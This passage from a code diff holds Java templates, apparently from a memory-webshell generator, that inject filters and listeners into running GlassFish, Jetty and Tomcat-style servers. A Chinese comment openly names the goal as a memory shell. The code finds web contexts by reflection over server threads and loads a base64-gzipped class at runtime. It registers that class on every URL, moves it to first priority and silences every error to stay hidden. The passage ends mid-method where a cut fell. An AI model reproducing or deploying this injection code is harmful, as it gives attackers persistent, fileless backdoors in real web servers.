private Object getFilter(Object context) throws Exception {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
public void addFilter(Object context, Object filter) throws Exception {
|
||||
String filterName = getSimpleName(getClassName());
|
||||
try {
|
||||
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
|
||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false});
|
||||
Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||
constructors[0].setAccessible(true);
|
||||
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
||||
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFV(context, "filterConfigs");
|
||||
filterConfigs.put(filterName, filterConfig);
|
||||
|
||||
} catch (Exception e) {
|
||||
}
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static String getSimpleName(String className) {
|
||||
int lastDotIndex = className.lastIndexOf(".");
|
||||
if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) {
|
||||
return className.substring(lastDotIndex + 1);
|
||||
}
|
||||
return className;
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,193 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.EventListener;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
public class GlassFishListenerInjectorTpl {
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new GlassFishListenerInjectorTpl();
|
||||
}
|
||||
|
||||
public GlassFishListenerInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getListener(context);
|
||||
addListener(context, listener);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||
for (Object key : childrenMap.keySet()) {
|
||||
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
|
||||
for (Object key1 : children.keySet()) {
|
||||
Object context = children.get(key1);
|
||||
if (context != null) contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getListener(Object context) throws Exception {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
public void addListener(Object context, Object listener) throws Exception {
|
||||
try {
|
||||
List<EventListener> eventListeners = (List<EventListener>) invokeMethod(context, "getApplicationEventListeners");
|
||||
boolean isExist = false;
|
||||
for (EventListener eventListener : eventListeners) {
|
||||
if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
|
||||
isExist = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!isExist) {
|
||||
eventListeners.add((EventListener) listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,297 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.UnsupportedEncodingException;
|
||||
import java.lang.reflect.*;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* tested v8、v9
|
||||
*/
|
||||
|
||||
public class JettyFilterInjectorTpl {
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "/*";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new JettyFilterInjectorTpl();
|
||||
}
|
||||
|
||||
public JettyFilterInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getFilter(context);
|
||||
addFilter(context, filter);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public String getFilterName(String className) {
|
||||
if (className.contains(".")) {
|
||||
int lastDotIndex = className.lastIndexOf(".");
|
||||
return className.substring(lastDotIndex + 1);
|
||||
} else {
|
||||
return className;
|
||||
}
|
||||
}
|
||||
|
||||
public void addFilter(Object context, Object magicFilter) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, UnsupportedEncodingException {
|
||||
String filterName = getFilterName(getClassName());
|
||||
|
||||
Class filterClass = magicFilter.getClass();
|
||||
try {
|
||||
Object servletHandler = getFV(context, "_servletHandler");
|
||||
|
||||
// 1. 判断是否已经注入
|
||||
if (isInjected(servletHandler, filterClass.getName())) {
|
||||
return;
|
||||
}
|
||||
|
||||
Class filterHolderClass = context.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder");
|
||||
Constructor constructor = filterHolderClass.getConstructor(Class.class);
|
||||
Object filterHolder = constructor.newInstance(filterClass);
|
||||
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{filterName});
|
||||
|
||||
|
||||
// 2. 注入内存马Filter
|
||||
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
|
||||
// 3. 修改Filter的优先级为第一位
|
||||
Object filterMaps = getFV(servletHandler, "_filterMappings");
|
||||
Object[] tmpFilterMaps = new Object[Array.getLength(filterMaps)];
|
||||
int n = 1;
|
||||
for (int i = 0; i < Array.getLength(filterMaps); i++) {
|
||||
Object filter = Array.get(filterMaps, i);
|
||||
String _filterName = (String) getFV(filter, "_filterName");
|
||||
if (_filterName.contains(filterClass.getName())) {
|
||||
tmpFilterMaps[0] = filter;
|
||||
} else {
|
||||
tmpFilterMaps[n] = filter;
|
||||
n++;
|
||||
}
|
||||
}
|
||||
for (int j = 0; j < tmpFilterMaps.length; j++) {
|
||||
Array.set(filterMaps, j, tmpFilterMaps[j]);
|
||||
}
|
||||
|
||||
// 4. 解决 jetty filterChainsCache 导致 filter 内存马连接失败的问题
|
||||
invokeMethod(servletHandler, "invalidateChainsCache");
|
||||
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
List<Object> getContext() {
|
||||
List<Object> contexts = new ArrayList();
|
||||
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object contextClassLoader = getContextClassLoader(thread);
|
||||
if (isWebAppClassLoader(contextClassLoader)) {
|
||||
contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
|
||||
} else if (isHttpConnection(thread)) {
|
||||
contexts.add(getContextFromHttpConnection(thread));
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getContextClassLoader(Thread thread) throws Exception {
|
||||
return invokeMethod(thread, "getContextClassLoader");
|
||||
}
|
||||
|
||||
private boolean isWebAppClassLoader(Object classLoader) {
|
||||
return classLoader.getClass().getName().contains("WebAppClassLoader");
|
||||
}
|
||||
|
||||
private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
|
||||
Object context = getFV(classLoader, "_context");
|
||||
Object handler = getFV(context, "_servletHandler");
|
||||
return getFV(handler, "_contextHandler");
|
||||
}
|
||||
|
||||
private boolean isHttpConnection(Thread thread) throws Exception {
|
||||
Object threadLocals = getFV(thread, "threadLocals");
|
||||
Object table = getFV(threadLocals, "table");
|
||||
for (int i = 0; i < Array.getLength(table); ++i) {
|
||||
Object entry = Array.get(table, i);
|
||||
if (entry != null) {
|
||||
Object httpConnection = getFV(entry, "value");
|
||||
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private Object getContextFromHttpConnection(Thread thread) throws Exception {
|
||||
Object threadLocals = getFV(thread, "threadLocals");
|
||||
Object table = getFV(threadLocals, "table");
|
||||
for (int i = 0; i < Array.getLength(table); ++i) {
|
||||
Object entry = Array.get(table, i);
|
||||
if (entry != null) {
|
||||
Object httpConnection = getFV(entry, "value");
|
||||
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
|
||||
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
|
||||
Object request = invokeMethod(httpChannel, "getRequest");
|
||||
Object session = invokeMethod(request, "getSession");
|
||||
Object servletContext = invokeMethod(session, "getServletContext");
|
||||
return getFV(servletContext, "this$0");
|
||||
}
|
||||
}
|
||||
}
|
||||
throw new Exception("HttpConnection not found");
|
||||
}
|
||||
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Exception e1) {
|
||||
e1.printStackTrace();
|
||||
}
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
public static boolean isInjected(Object servletHandler, String filterClassName) throws Exception {
|
||||
try {
|
||||
Object filterMaps = getFV(servletHandler, "_filterMappings");
|
||||
for (int i = 0; i < Array.getLength(filterMaps); i++) {
|
||||
Object filter = Array.get(filterMaps, i);
|
||||
String filterName = (String) getFV(filter, "_filterName");
|
||||
if (filterName.contains(filterClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
return false;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,251 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.EventListener;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* tested v7、v8、v9
|
||||
*/
|
||||
public class JettyListenerInjectorTpl {
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new JettyListenerInjectorTpl();
|
||||
}
|
||||
|
||||
|
||||
public JettyListenerInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getListener(context);
|
||||
addListener(context, listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
List<Object> getContext() {
|
||||
List<Object> contexts = new ArrayList();
|
||||
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object contextClassLoader = getContextClassLoader(thread);
|
||||
if (isWebAppClassLoader(contextClassLoader)) {
|
||||
contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
|
||||
} else if (isHttpConnection(thread)) {
|
||||
contexts.add(getContextFromHttpConnection(thread));
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getContextClassLoader(Thread thread) throws Exception {
|
||||
return invokeMethod(thread, "getContextClassLoader");
|
||||
}
|
||||
|
||||
private boolean isWebAppClassLoader(Object classLoader) {
|
||||
return classLoader.getClass().getName().contains("WebAppClassLoader");
|
||||
}
|
||||
|
||||
private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
|
||||
Object context = getFV(classLoader, "_context");
|
||||
Object handler = getFV(context, "_servletHandler");
|
||||
return getFV(handler, "_contextHandler");
|
||||
}
|
||||
|
||||
private boolean isHttpConnection(Thread thread) throws Exception {
|
||||
Object threadLocals = getFV(thread, "threadLocals");
|
||||
Object table = getFV(threadLocals, "table");
|
||||
for (int i = 0; i < Array.getLength(table); ++i) {
|
||||
Object entry = Array.get(table, i);
|
||||
if (entry != null) {
|
||||
Object httpConnection = getFV(entry, "value");
|
||||
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private Object getContextFromHttpConnection(Thread thread) throws Exception {
|
||||
Object threadLocals = getFV(thread, "threadLocals");
|
||||
Object table = getFV(threadLocals, "table");
|
||||
for (int i = 0; i < Array.getLength(table); ++i) {
|
||||
Object entry = Array.get(table, i);
|
||||
if (entry != null) {
|
||||
Object httpConnection = getFV(entry, "value");
|
||||
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
|
||||
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
|
||||
Object request = invokeMethod(httpChannel, "getRequest");
|
||||
Object session = invokeMethod(request, "getSession");
|
||||
Object servletContext = invokeMethod(session, "getServletContext");
|
||||
return getFV(servletContext, "this$0");
|
||||
}
|
||||
}
|
||||
}
|
||||
throw new Exception("HttpConnection not found");
|
||||
}
|
||||
|
||||
|
||||
private Object getListener(Object context) {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
public static void addListener(Object context, Object listener) {
|
||||
try {
|
||||
if (isInjected(context, listener.getClass().getName())) {
|
||||
return;
|
||||
}
|
||||
|
||||
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
||||
} catch (Exception e) {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static boolean isInjected(Object context, String className) throws Exception {
|
||||
|
||||
try {
|
||||
// jetty v8、 v9
|
||||
EventListener[] eventListeners = (EventListener[]) invokeMethod(context, "getEventListeners");
|
||||
for (int i = 0; i < eventListeners.length; i++) {
|
||||
if (eventListeners[i].getClass().getName().contains(className)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
